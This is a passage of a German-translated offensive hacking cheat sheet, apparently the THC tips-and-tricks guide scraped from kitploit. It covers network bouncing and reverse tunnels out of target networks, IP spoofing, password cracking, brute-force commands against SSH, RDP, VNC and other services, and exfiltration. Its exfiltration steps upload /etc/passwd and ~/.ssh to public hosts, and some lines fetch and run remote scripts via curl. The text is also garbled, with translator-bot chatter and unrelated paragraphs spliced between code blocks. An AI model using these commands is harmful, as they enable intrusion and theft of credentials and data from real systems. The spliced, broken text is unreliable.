    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

(Siehe Hackshell bounce)

Dann richten Sie die Weiterleitungen wie folgt ein:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

root@kitploit:~
Wir verwenden diesen Trick, um das gsocket-relay-network (oder TOR) aus tief in Firewall-geschützten Netzwerken zu erreichen.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  
root@kitploit:~
# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

3.vi.c Ghost-IP / IP-Spoofing

Nützlich auf einem Host im Zielnetzwerk. Dieses Tool konfiguriert die SHELL neu (ohne Spuren zu hinterlassen): Jedes Programm (nmap, cme, ...), das von dieser SHELL aus gestartet wird, verwendet eine gefälschte IP. Alle Ihre Angriffe stammen von einem Host, der nicht existiert.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

root@kitploit:~
Dies funktioniert auch in Kombination mit:
 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Verbindet deinen ROOT Server mit dem ZIELNETZWERK und verwendet eine Ghost-IP innerhalb des Zielnetzwerks.
 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): Wie oben, aber weniger sicher.

---
<a id="tunnel-more"></a>
**3.vi.d Verschiedene Tunnel-Tricks**

### Tunnel über CDN
 * Lies [How to tunnel any TCP service via CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) oder nutze [DarkFlare](https://github.com/doxx/darkflare).

### Verbinde deinen Host direkt mit dem entfernten Netzwerk
 * [WireTap](https://github.com/sandialabs/wiretap) - Funktioniert als Benutzer oder Root. Verwendet UDP als Transport. ([Teste es](https://thc.org/segfault/wireguard) auf segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Verwendet TCP als Transport. Funktioniert gut über [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) oder gs-netcat.

### SSH als preiswerten Reverse-Proxy über Cloudflare nutzen

Diese Methode ähnelt den [HTTPS-Reverse-Tunneln](#https), verwendet aber SSH anstelle von Gost oder websocat.
- Vorteil: Verwendet auf dem Ziel nur *cloudflared* und *SSH*.
- Nachteil: Erfordert ein CF-Abonnement.

 1. Gehe zu deinem CF-Dashboard -> Zero Trust -> Networks -> Tunnels
 2. Erstelle einen neuen 'Cloudflared'-Tunnel mit einem beliebigen Namen.
 3. Wähle Debian & 64-bit. Der Token wird nicht vollständig angezeigt. Extrahiere den "Token", indem du den ausgegrauten Bereich in ein separates Dokument kopierst, um den gesamten Token sichtbar zu machen (die langen Hex-Strings nach `sudo cloudflared service install <TunnelTokenHere>`).
 4. Füge eine Subdomain hinzu (das Beispiel verwendet `ssh.team-teso.net`).
 5. Setze Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

NTLM-Relay ist eine Art von Active-Directory-Angriff, bei dem ein Angreifer eine Maschine dazu bringt, sich gegenüber einer vom Angreifer kontrollierten Ressource zu authentifizieren. Der Angreifer kennt das Passwort nicht – er sitzt einfach zwischen einem Client und einem Server und leitet den Authentifizierungsversuch weiter.```shell

On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:

ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

root@kitploit:~
Please provide the Markdown content to translate.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

Verwenden Sie ProxyChains oder GrafTCP zum Tunneln anderer Protokolle über den Reverse-Proxy.


3.iv. Beliebige Tools über Socks Proxy verwenden

Erstellen Sie einen Tunnel vom Ziel zu Ihrer Workstation mit gsocket:

Im Netzwerk des Ziels:```sh

Create a SOCKS proxy into the target's network.

Use gs-netcat but ssh -D would work as well.

gs-netcat -l -S

root@kitploit:~
Auf Ihrer Workstation:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

Verwendung von ProxyChain:```sh

Use ProxyChain to access any host on the target's network:

echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io

Scan the router at 192.168.1.1

proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1

Start 10 nmaps in parallel:

seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

root@kitploit:~
### Verwendung von GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

3.v. Ermitteln Sie Ihre öffentliche IP-Adresse```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com

root@kitploit:~
Ermitteln Sie Geolokalisierungsinformationen zu einer beliebigen IP-Adresse:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

ASN-Informationen per IP-Adresse abrufen:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup

root@kitploit:~
Prüfen, ob TOR funktioniert:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

3.vi. Erreichbarkeit aus der ganzen Welt prüfen

Die netten Leute von https://ping.pe/ ermöglichen es Ihnen, einen Host von überall auf der Welt per Ping/Traceroute/mtr/dig/Port-Check zu prüfen, TCP-Ports zu überprüfen, einen Domainnamen aufzulösen, ...und viele andere Dinge.

Um zu überprüfen, wie gut Ihr (aktueller) Host das Internet erreichen kann, verwenden Sie OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1

root@kitploit:~
---
<a id="check-open-ports"></a>
**3.vii. Offene Ports auf einer IP prüfen/scannen**

Port-Lookup-Dienst von [Censys](https://search.censys.io/) oder [Shodan](https://internetdb.shodan.io):```shell
curl https://internetdb.shodan.io/1.1.1.1

Schneller (-F) Schwachstellen-Scan```shell

Version gathering

nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org

Vulns

nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

root@kitploit:~
Offene TCP-Ports scannen:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

(See Hackshell scan)

Einfacher Bash-Portscanner:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

root@kitploit:~
---
<a id="bruteforce"></a>
**3.viii. Passwort-Hashes knacken**

 1. [NTLM2password](https://ntlm.pw/) zum Knacken (Nachschlagen) von NTLM-Passwörtern
 2. [wpa-sec](https://wpa-sec.stanev.org) zum Knacken (Nachschlagen) von WPA-PSK-Passwörtern

HashCat ist unser bevorzugtes Werkzeug für alles andere:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Verwendung einer 10-Tage-7-16-Zeichen-Hashmask auf der GPU:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask

-d2 == Use GPU #2 only (device #2)

-O == Up to 50% faster but limits password length to <= 15

-w1 == workload low (-w3 == high)

nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

root@kitploit:~
Knacke die `known_hosts`-Hashes von OpenSSH, um die IP-Adresse aufzudecken:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

👉 Lies die FAQ.

Beachte, dass $6$-Hashes LANGSAM sind. Selbst die 1-Minuten-Hashmask für 7-16 Zeichen würde auf einem 8xRTX4090-Cluster viele Tage dauern.

Miete einen RTX-4090-GPU-Cluster bei vast.ai für $0.40/h und nutze dizcza/docker-hashcat:cuda (mehr dazu).

Andernfalls nutze Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis oder cracke auf deinen eigenen AWS-Instanzen.

3.xi. Passwörter / Schlüssel per Brute Force

Das Folgende dient zum Brute-Forcing (Erraten) von Passwörtern für ONLINE-DIENSTE.

GMail-Trottel - HIER KLICKEN

Du kannst GMAIL-Konten nicht per Brute Force knacken.
SMTP AUTH/LOGIN IST BEI GMAIL DEAKTIVIERT.
Alle GMail-Brute-Force- und Passwort-Cracking-Tools sind FAKE.

Alle Tools sind auf segfault vorinstalliert:```shell ssh [email protected] # password is 'segfault'

root@kitploit:~
(Vielleicht möchtest du deinen [eigenen EXIT-Knoten](https://www.thc.org/segfault/wireguard) verwenden)

Werkzeuge:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [Doku](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - großartig zum Ausprobieren aller SSH-Schlüssel auf einem Ziel-IP-Bereich.

Benutzernamen- & Passwortlisten:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THCs FAVORIT<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Setze **B**enutzername/**P**asswortliste und **Z**ielhost.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Nützliche Nmap-Parameter:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

root@kitploit:~
Nützliche **Ncrack**-Parameter:```shell
-U "${ULIST}"
-P "${PLIST}"

Nützliche Hydra-Parameter:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login

root@kitploit:~
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

-->```shell

SSH

nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"

root@kitploit:~
I don't see any content after "INPUT:" to translate. The chunk appears to be empty.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

I see no content to translate. The input is empty. Please provide the actual Markdown content to translate.```shell

FTP

hydra -P "${PLIST}" -l user "ftp://$T"

root@kitploit:~
[No input provided]```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

Inzwischen bemühen sich viele Leute im Bereich der Web-Spiele intensiv darum, stabilere Datenbanken zu erstellen, das Problem der zeitaufwändigen Datensynchronisation zu lösen, normale Angriffe effektiver zu machen und verschiedene maßgeschneiderte Dienste anzubieten …

Tatsächlich haben wir bereits ein gut etabliertes Ökosystem: Von unten nach oben betrachtet verfügen wir über Hochleistungs-Traffic-Generierungs-Engines, stabile und zuverlässige Basisbibliotheken, eine umfassende Infrastruktur und ein automatisiertes Testsystem. Von oben nach unten betrachtet gibt es das darauf aufbauende Geschäftssystem der oberen Ebene.

Jedoch haben Schwachstellenscanner inhärente Grenzen. Das grundlegendste Problem ist, dass ihre Payload-Listen zu präzise sind, um sich an die Unterschiede in den Exploit-Skripten anzupassen. Dies führt zu übersehenen Berichten und Fehlalarmen.

Doch WAF ist völlig anders, da es dem Benutzer eine extrem hohe Exploit-Flexibilität lässt. Mir wurde klar, dass wir einfach die Payload im WAF nutzen können, um einen Angriff zu starten.

Wie aufregend! Nach vielen Bemühungen stelle ich fest, dass jede Regel im kompilierten Coraza-Produkt entsprechende secrule-Markierungen aufweist. Extrahiere einfach die Payload der Regeln und starte den Angriff.

So haben wir das anfängliche Funktionsmodell.

Um die Website-Sicherheit zu schützen, müssen Website-Betreiber auch die Wirksamkeit ihres eigenen WAF testen. afrog verfügt bereits über ein ausgereiftes PoC-System, doch WAF hat kein solches für sich selbst.

Basierend auf diesen Ideen hat sich Pomez schnell entwickelt:```shell

POP3 (email)

nmap -p110,995 --script pop3-brute "$T"

root@kitploit:~
[No content provided to translate.]```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
  • Tshark VM - Tshark VM ist eine virtuelle Maschine mit einer Sammlung von Skripten, die tshark verwenden, um pcap-Dateien zu analysieren. Weitere Tools umfassen Suricata, jq, capinfos und tcpdump.```shell

PostgreSQL

nmap -p5432 --script pgsql-brute "$T"

root@kitploit:~
#### Schritte zur Reproduktion:

- Starten Sie eine GDB-Server-Sitzung auf Port 2345:
  ```SHELL
  gdbserver :2345 binary
  • Client starten und mit dem Zielgerät verbinden:
    root@kitploit:~
    bash connect.sh
    ``````shell
    

SMB (windows)

nmap --script smb-brute "$T"

root@kitploit:~
Es wurde kein Inhalt zum Übersetzen bereitgestellt. Der INPUT-Abschnitt ist leer.```shell
## Telnet
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

I'm ready to translate the content. However, the input chunk appears to be empty—no Markdown content was provided after "INPUT:". Since there is no source text to translate, there is nothing to output.

If you provide the actual Markdown content for chunk 188, I'll translate it from English to German while preserving all formatting, code, and structure exactly.```shell

VNC

nmap -p5900 --script vnc-brute "$T" ncrack -P "${PLIST}" --user root "vnc://$T" hydra -P "${PLIST}" "vnc://$T" medusa -P "${PLIST}" –u root –M vnc -h "$T"

root@kitploit:~
Bitte fügen Sie den zu übersetzenden Markdown-Inhalt ein.```shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run

No input content was provided to translate.```shell

HTML basic auth

echo admin >user.txt # Try only 1 username echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one. nmap -p80 --script http-brute --script-args
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly
pentesteracademylab.appspot.com

root@kitploit:~
---
<a id="exfil"></a>
## 4. Daten-Upload/Download/Exfil

Am einfachsten: Tippe `exfil` auf einem [Segfault Root Server](https://thc.org/segfault)

Oder verwende curl und starte deinen eigenen [PHP-Exfil-Server](https://github.com/Rouji/single_php_filehost).

<a id="file-encoding"></a>

### 4.i Dateikodierung

Trick, um eine Datei auf das Zielsystem zu übertragen, wenn das Zielsystem keinen Internetzugriff hat: Konvertiere die Binärdatei in ASCII-Text (Base64) und verwende dann Kopieren & Einfügen. (Alternativ kannst du die Elite-Konsole von gs-netcat mit `Ctrl-e c` verwenden, um die Datei über dieselbe TCP-Verbindung zu übertragen.)

Verwende `xclip` (auf deiner Workstation), um die codierten Daten direkt in deine Zwischenablage zu leiten:```shell
base64 -w0 </etc/issue.net | xclip

>>> UU encodieren/decodieren```sh

uuencode

uuencode /etc/issue.net issue.net-COPY

root@kitploit:~
<details>
  <summary>Ausgabe - HIER KLICKEN</summary>

> begin 644 issue.net-COPY  
> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\`  
> `  
> end
</details>```sh
## uudecode (cut & paste the 3 lines from above):
uudecode

>>> base64 encode/decode```sh

base64 -w0 </etc/issue.net

root@kitploit:~
<details>
  <summary>Ausgabe - HIER KLICKEN</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
base64 -d >issue.net-COPY

>>> Openssl Kodieren/Dekodieren```sh

openssl base64 </etc/issue.net

root@kitploit:~
<details>
  <summary>Ausgabe - HIER KLICKEN</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
openssl base64 -d >issue.net-COPY

>>> xxd Kodieren/Dekodieren```sh

xxd -p </etc/issue.net

root@kitploit:~
<details>
  <summary>Ausgabe - HIER KLICKEN</summary>

> 4b616c6920474e552f4c696e757820526f6c6c696e670a
</details>```sh
xxd -p -r >issue.net-COPY

4.ii. Dateiübertragung - per Ausschneiden & Einfügen

Füge in eine Datei auf dem entfernten Rechner ein (beachte das <<-'__EOF__', um Tabs oder $-Variablen nicht zu verfälschen).```sh cat >output.txt <<-'EOF' [...] EOF ### Finish your cut & paste by typing EOF

root@kitploit:~
---
<a id="xfer-tmux"></a>
### 4.iii. Dateiübertragung - mit *tmux*

Starten Sie `tmux` auf Ihrer Workstation. Verbinden Sie sich auf beliebige Weise mit Ihrem Zielsystem (ssh, gs-netcat, ...).

#### Von REMOTE zu LOCAL (Download)

Verwenden Sie [Tmux-Logging](#tmux), um große Dateien vom Ziel über das Terminal auf Ihre Workstation herunterzuladen.

#### Von LOCAL zu REMOTE (Upload)

Starten Sie Ihr bevorzugtes Dekodierungswerkzeug (base64) auf dem REMOTE:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

Senden Sie auf Ihrer Workstation und von einem anderen Terminal aus base64-kodierte Daten. Sie werden auf Ihrem REMOTE in screen-xfer.txt ankommen.```shell tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'

Press 'Ctrl-d' in the receiving terminal.

Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.

Optional: Use 'Ctrl-b ,' to rename the window

root@kitploit:~
---
<a id="file-transfer-screen"></a>
### 4.vi. Dateiübertragung - mit *screen*

#### Vom entfernten System zum lokalen Rechner (Download)

Lassen Sie auf Ihrem lokalen Rechner eine *screen*-Sitzung laufen und melden Sie sich aus dieser Shell heraus am entfernten System an. Weisen Sie Ihren lokalen *screen* an, die gesamte Ausgabe in screen-xfer.txt zu schreiben:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Wir verwenden *openssl*, um unsere Daten zu kodieren, aber jede der oben genannten Kodierungsmethoden funktioniert. Dieser Befehl zeigt die base64-kodierten Daten im Terminal an, und *screen* schreibt diese Daten in *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

Stoppe die Protokollierung weiterer Daten auf deinem lokalen Bildschirm:

CTRL-a H

Dekodiere die Datei auf deinem lokalen Computer:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt

root@kitploit:~
#### Von LOKAL zu REMOTE (Upload)

Kodieren Sie die Daten auf Ihrem lokalen System:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

Auf dem entfernten System (und aus dem aktuellen screen heraus):```sh openssl base64 -d

root@kitploit:~
Get *screen*, um die base64-kodierten Daten in die Zwischenablage von screen einzulesen, und füge die Daten aus der Zwischenablage in das entfernte System ein:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Hinweis: Zwei CTRL-d sind erforderlich, da ein [Fehler in openssl](https://github.com/openssl/openssl/issues/9355) vorliegt.

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Dateiübertragung - mit gs-netcat und sftp

Verwende [gs-netcat](https://github.com/hackerschoice/gsocket) und kapsle das sftp-Protokoll darin ein. Ermöglicht Zugriff auf Hosts hinter NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

Führen Sie von Ihrer Workstation aus diesen Befehl aus, um eine Verbindung zum SFTP-Server herzustellen:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation

root@kitploit:~
Oder zum DUMPen einer einzelnen Datei:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.vi. Dateiübertragung - mit HTTPs

Download vom Server zum Empfänger:

Auf dem Sender/Server: ---```sh

Spawn a temporary HTTP server and share the current working directory.

python -m http.server 8080 --bind 127.0.0.1 &

alternative: php -S 127.0.0.1:8080

cloudflared tunnel -url localhost:8080

root@kitploit:~
Receiver: Rufen Sie die URL von einem beliebigen Browser aus auf, um das entfernte Dateisystem anzusehen/herunterzuladen.

#### 1 - Hochladen mit PHP:

Auf dem Empfänger:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

Auf dem Sender:```posh

Set a function:

up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }

upload files like so:

up warez.tar.gz up /etc/passwd

root@kitploit:~
#### 2 - Upload mit Python:

Auf dem Empfänger:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

Auf dem Sender:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'

root@kitploit:~
---
<a id="download"></a>
### 4.vii. Datei-Download ohne curl

Mit Python nur herunterladen:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Beispiel: Installieren von gsocket mit purl:```sh

cut & paste the above purl() function into your bash. Then cut & paste the following:

source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct

root@kitploit:~
Laden Sie mit OpenSSL nur Folgendes herunter:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

mit Perl, nur herunterladen:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }

lurl ipinfo.io

root@kitploit:~
Mit bash nur herunterladen:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.viii. Dateiübertragung mithilfe eines öffentlichen Dumps

Kopieren & Einfügen in deine Bash:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }

root@kitploit:~
dann laden Sie eine Datei oder ein Verzeichnis hoch:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Eine Liste unserer bevorzugten öffentlichen Upload-Seiten.


4.ix. Dateiübertragung – mit rsync

Ideal zum Synchronisieren großer Verzeichnismengen oder zum Neustarten abgebrochener Übertragungen. Das Beispiel überträgt das Verzeichnis 'warez' zum Empfänger über eine einzelne TCP-Verbindung vom Sender zum Empfänger.

Empfänger:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach

root@kitploit:~
Absender:```posh
rsync -av warez rsync://1.2.3.4:31337/up

Dasselbe verschlüsselt (OpenSSL):

Empfänger:```posh

use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)

openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

root@kitploit:~
Absender:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync kann zur Exfiltration über https / cloudflared raw TCP tunnels kombiniert werden.
(Zum Exfiltrieren unter Windows die rsync.exe aus dem gsocket Windows-Paket verwenden). Eine auffälligere Lösung ist syncthing.

Profi-Tipp: Faule Hacker tippen einfach exfil auf segfault.net ein.


4.x. Dateiübertragung – mit WebDAV

Auf dem Empfänger (z. B. segfault.net) einen Cloudflare-Tunnel und WebDAV starten:```sh cloudflared tunnel --url localhost:8080 &

[...]

+--------------------------------------------------------------------------------------------+

| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |

| https://example-foo-bar-lights.trycloudflare.com |

+--------------------------------------------------------------------------------------------+

[...]

wsgidav --port=8080 --root=. --auth=anonymous

root@kitploit:~
Auf einem anderen Server:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Greifen Sie unter Windows über den Datei-Explorer auf die Freigabe zu (um Dateien per Drag & Drop zu verschieben):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources

root@kitploit:~
Oder binden Sie die WebDAV-Freigabe unter Windows ein (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.xi. Dateiübertragung an Telegram

Es gibt unzählige Upload-Dienste, aber TG ist eine nette Alternative. Holen Sie sich ein TG-Bot-Token vom TG BotFather. Erstellen Sie dann eine neue TG-Gruppe und fügen Sie Ihren Bot zur Gruppe hinzu. Ermitteln Sie die chat_id dieser Gruppe:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq

